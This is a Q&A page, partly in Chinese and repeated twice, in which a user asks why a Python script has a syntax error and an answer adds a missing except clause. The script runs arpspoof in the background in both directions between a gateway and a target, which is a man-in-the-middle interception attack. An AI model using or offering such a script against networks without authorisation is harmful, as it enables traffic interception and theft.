为什么我的语法无效?
Why am I having an invalid Syntax?
为什么我的语法无效?如果只是因为愚蠢的错误,请耐心等待我。
import os
gateway = raw_input("What is your gateway IP: ")
target = raw_input("What is your target IP: ")
interface = raw_input("What is your network interface: ")
os.system('arpspoof -i {0} -t {1} {2} 2>/dev/null 1>/dev/null &'.format(interface, gateway, target))
os.system('arpspoof -i {0} -t {1} {2} 2>/dev/null 1>/dev/null &'.format(interface, target, gateway))
while True:
try:
stop_command = raw_input("If you want to exit type stop: ")
if stop_command != "stop":
print("You didn't type stop")
continue
else:
break
您的 try
缺少 except
或 finally
子句。
您的 try 块存在语法错误
try 的语法是
try
.
.
except: #must come with try block
.
.
finally: #this is optional
所以无错误代码将是
try:
stop_command = raw_input("If you want to exit type stop: ")
except:
pass
if stop_command != "stop":
print("You didn't type stop")
continue
else:
break`
为什么我的语法无效?如果只是因为愚蠢的错误,请耐心等待我。
import os
gateway = raw_input("What is your gateway IP: ")
target = raw_input("What is your target IP: ")
interface = raw_input("What is your network interface: ")
os.system('arpspoof -i {0} -t {1} {2} 2>/dev/null 1>/dev/null &'.format(interface, gateway, target))
os.system('arpspoof -i {0} -t {1} {2} 2>/dev/null 1>/dev/null &'.format(interface, target, gateway))
while True:
try:
stop_command = raw_input("If you want to exit type stop: ")
if stop_command != "stop":
print("You didn't type stop")
continue
else:
break
您的 try
缺少 except
或 finally
子句。
您的 try 块存在语法错误
try 的语法是
try
.
.
except: #must come with try block
.
.
finally: #this is optional
所以无错误代码将是
try:
stop_command = raw_input("If you want to exit type stop: ")
except:
pass
if stop_command != "stop":
print("You didn't type stop")
continue
else:
break`